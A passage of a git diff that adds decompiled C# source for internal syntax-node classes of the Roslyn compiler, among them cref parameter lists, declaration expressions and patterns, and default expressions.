+ writer.WriteValue((IObjectWritable)(object)parameters); + writer.WriteValue((IObjectWritable)(object)closeBracketToken); + } + + static CrefBracketedParameterListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CrefBracketedParameterListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CrefBracketedParameterListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefParameterListSyntax.cs new file mode 100644 index 0000000..b79ef21 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefParameterListSyntax.cs @@ -0,0 +1,163 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CrefParameterListSyntax : BaseCrefParameterListSyntax +{ + internal readonly SyntaxToken openParenToken; + + internal readonly GreenNode? parameters; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken OpenParenToken => openParenToken; + + public override SeparatedSyntaxList Parameters => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(parameters))); + + public SyntaxToken CloseParenToken => closeParenToken; + + internal CrefParameterListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? parameters, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CrefParameterListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? parameters, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal CrefParameterListSyntax(SyntaxKind kind, SyntaxToken openParenToken, GreenNode? parameters, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + if (parameters != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(parameters); + this.parameters = parameters; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => openParenToken, + 1 => parameters, + 2 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterListSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCrefParameterList(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCrefParameterList(this); + } + + public CrefParameterListSyntax Update(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken == OpenParenToken) + { + SeparatedSyntaxList val = Parameters; + if (!((ref parameters) != (ref val)) && closeParenToken == CloseParenToken) + { + return this; + } + } + CrefParameterListSyntax crefParameterListSyntax = SyntaxFactory.CrefParameterList(openParenToken, parameters, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + crefParameterListSyntax = GreenNodeExtensions.WithDiagnosticsGreen(crefParameterListSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + crefParameterListSyntax = GreenNodeExtensions.WithAnnotationsGreen(crefParameterListSyntax, (IEnumerable)annotations); + } + return crefParameterListSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CrefParameterListSyntax(base.Kind, openParenToken, parameters, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CrefParameterListSyntax(base.Kind, openParenToken, parameters, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CrefParameterListSyntax(ObjectReader reader) + : base(reader) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openParenToken = syntaxToken; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + parameters = val; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeParenToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)parameters); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static CrefParameterListSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CrefParameterListSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CrefParameterListSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefParameterSyntax.cs new file mode 100644 index 0000000..4eb67af --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefParameterSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class CrefParameterSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken? refKindKeyword; + + internal readonly SyntaxToken? readOnlyKeyword; + + internal readonly TypeSyntax type; + + public SyntaxToken? RefKindKeyword => refKindKeyword; + + public SyntaxToken? ReadOnlyKeyword => readOnlyKeyword; + + public TypeSyntax Type => type; + + internal CrefParameterSyntax(SyntaxKind kind, SyntaxToken? refKindKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (refKindKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKindKeyword); + this.refKindKeyword = refKindKeyword; + } + if (readOnlyKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)readOnlyKeyword); + this.readOnlyKeyword = readOnlyKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal CrefParameterSyntax(SyntaxKind kind, SyntaxToken? refKindKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (refKindKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKindKeyword); + this.refKindKeyword = refKindKeyword; + } + if (readOnlyKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)readOnlyKeyword); + this.readOnlyKeyword = readOnlyKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal CrefParameterSyntax(SyntaxKind kind, SyntaxToken? refKindKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (refKindKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKindKeyword); + this.refKindKeyword = refKindKeyword; + } + if (readOnlyKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)readOnlyKeyword); + this.readOnlyKeyword = readOnlyKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => refKindKeyword, + 1 => readOnlyKeyword, + 2 => type, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.CrefParameterSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitCrefParameter(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitCrefParameter(this); + } + + public CrefParameterSyntax Update(SyntaxToken refKindKeyword, SyntaxToken readOnlyKeyword, TypeSyntax type) + { + if (refKindKeyword != RefKindKeyword || readOnlyKeyword != ReadOnlyKeyword || type != Type) + { + CrefParameterSyntax crefParameterSyntax = SyntaxFactory.CrefParameter(refKindKeyword, readOnlyKeyword, type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + crefParameterSyntax = GreenNodeExtensions.WithDiagnosticsGreen(crefParameterSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + crefParameterSyntax = GreenNodeExtensions.WithAnnotationsGreen(crefParameterSyntax, (IEnumerable)annotations); + } + return crefParameterSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new CrefParameterSyntax(base.Kind, refKindKeyword, readOnlyKeyword, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new CrefParameterSyntax(base.Kind, refKindKeyword, readOnlyKeyword, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal CrefParameterSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + if (syntaxToken != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + refKindKeyword = syntaxToken; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + readOnlyKeyword = syntaxToken2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)refKindKeyword); + writer.WriteValue((IObjectWritable)(object)readOnlyKeyword); + writer.WriteValue((IObjectWritable)(object)type); + } + + static CrefParameterSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(CrefParameterSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new CrefParameterSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefSyntax.cs new file mode 100644 index 0000000..8553fb4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/CrefSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class CrefSyntax : CSharpSyntaxNode +{ + internal CrefSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal CrefSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected CrefSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DeclarationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DeclarationExpressionSyntax.cs new file mode 100644 index 0000000..0d2c427 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DeclarationExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DeclarationExpressionSyntax : ExpressionSyntax +{ + internal readonly TypeSyntax type; + + internal readonly VariableDesignationSyntax designation; + + public TypeSyntax Type => type; + + public VariableDesignationSyntax Designation => designation; + + internal DeclarationExpressionSyntax(SyntaxKind kind, TypeSyntax type, VariableDesignationSyntax designation, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal DeclarationExpressionSyntax(SyntaxKind kind, TypeSyntax type, VariableDesignationSyntax designation, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal DeclarationExpressionSyntax(SyntaxKind kind, TypeSyntax type, VariableDesignationSyntax designation) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => type, + 1 => designation, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDeclarationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDeclarationExpression(this); + } + + public DeclarationExpressionSyntax Update(TypeSyntax type, VariableDesignationSyntax designation) + { + if (type != Type || designation != Designation) + { + DeclarationExpressionSyntax declarationExpressionSyntax = SyntaxFactory.DeclarationExpression(type, designation); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + declarationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(declarationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + declarationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(declarationExpressionSyntax, (IEnumerable)annotations); + } + return declarationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DeclarationExpressionSyntax(base.Kind, type, designation, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DeclarationExpressionSyntax(base.Kind, type, designation, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DeclarationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + VariableDesignationSyntax variableDesignationSyntax = (VariableDesignationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDesignationSyntax); + designation = variableDesignationSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)designation); + } + + static DeclarationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DeclarationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DeclarationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DeclarationPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DeclarationPatternSyntax.cs new file mode 100644 index 0000000..db71f95 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DeclarationPatternSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DeclarationPatternSyntax : PatternSyntax +{ + internal readonly TypeSyntax type; + + internal readonly VariableDesignationSyntax designation; + + public TypeSyntax Type => type; + + public VariableDesignationSyntax Designation => designation; + + internal DeclarationPatternSyntax(SyntaxKind kind, TypeSyntax type, VariableDesignationSyntax designation, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal DeclarationPatternSyntax(SyntaxKind kind, TypeSyntax type, VariableDesignationSyntax designation, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal DeclarationPatternSyntax(SyntaxKind kind, TypeSyntax type, VariableDesignationSyntax designation) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)designation); + this.designation = designation; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => type, + 1 => designation, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DeclarationPatternSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDeclarationPattern(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDeclarationPattern(this); + } + + public DeclarationPatternSyntax Update(TypeSyntax type, VariableDesignationSyntax designation) + { + if (type != Type || designation != Designation) + { + DeclarationPatternSyntax declarationPatternSyntax = SyntaxFactory.DeclarationPattern(type, designation); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + declarationPatternSyntax = GreenNodeExtensions.WithDiagnosticsGreen(declarationPatternSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + declarationPatternSyntax = GreenNodeExtensions.WithAnnotationsGreen(declarationPatternSyntax, (IEnumerable)annotations); + } + return declarationPatternSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DeclarationPatternSyntax(base.Kind, type, designation, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DeclarationPatternSyntax(base.Kind, type, designation, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DeclarationPatternSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + VariableDesignationSyntax variableDesignationSyntax = (VariableDesignationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDesignationSyntax); + designation = variableDesignationSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)designation); + } + + static DeclarationPatternSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DeclarationPatternSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DeclarationPatternSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultConstraintSyntax.cs new file mode 100644 index 0000000..28d6bc4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultConstraintSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DefaultConstraintSyntax : TypeParameterConstraintSyntax +{ + internal readonly SyntaxToken defaultKeyword; + + public SyntaxToken DefaultKeyword => defaultKeyword; + + internal DefaultConstraintSyntax(SyntaxKind kind, SyntaxToken defaultKeyword, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)defaultKeyword); + this.defaultKeyword = defaultKeyword; + } + + internal DefaultConstraintSyntax(SyntaxKind kind, SyntaxToken defaultKeyword, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)defaultKeyword); + this.defaultKeyword = defaultKeyword; + } + + internal DefaultConstraintSyntax(SyntaxKind kind, SyntaxToken defaultKeyword) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)defaultKeyword); + this.defaultKeyword = defaultKeyword; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)defaultKeyword; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.DefaultConstraintSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitDefaultConstraint(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitDefaultConstraint(this); + } + + public DefaultConstraintSyntax Update(SyntaxToken defaultKeyword) + { + if (defaultKeyword != DefaultKeyword) + { + DefaultConstraintSyntax defaultConstraintSyntax = SyntaxFactory.DefaultConstraint(defaultKeyword); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + defaultConstraintSyntax = GreenNodeExtensions.WithDiagnosticsGreen(defaultConstraintSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + defaultConstraintSyntax = GreenNodeExtensions.WithAnnotationsGreen(defaultConstraintSyntax, (IEnumerable)annotations); + } + return defaultConstraintSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new DefaultConstraintSyntax(base.Kind, defaultKeyword, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new DefaultConstraintSyntax(base.Kind, defaultKeyword, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal DefaultConstraintSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + defaultKeyword = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)defaultKeyword); + } + + static DefaultConstraintSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(DefaultConstraintSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new DefaultConstraintSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultExpressionSyntax.cs new file mode 100644 index 0000000..ebd596c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/DefaultExpressionSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class DefaultExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public TypeSyntax Type => type; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal DefaultExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal DefaultExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal DefaultExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, TypeSyntax type, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => type, + 3 => closeParenToken, + _ => 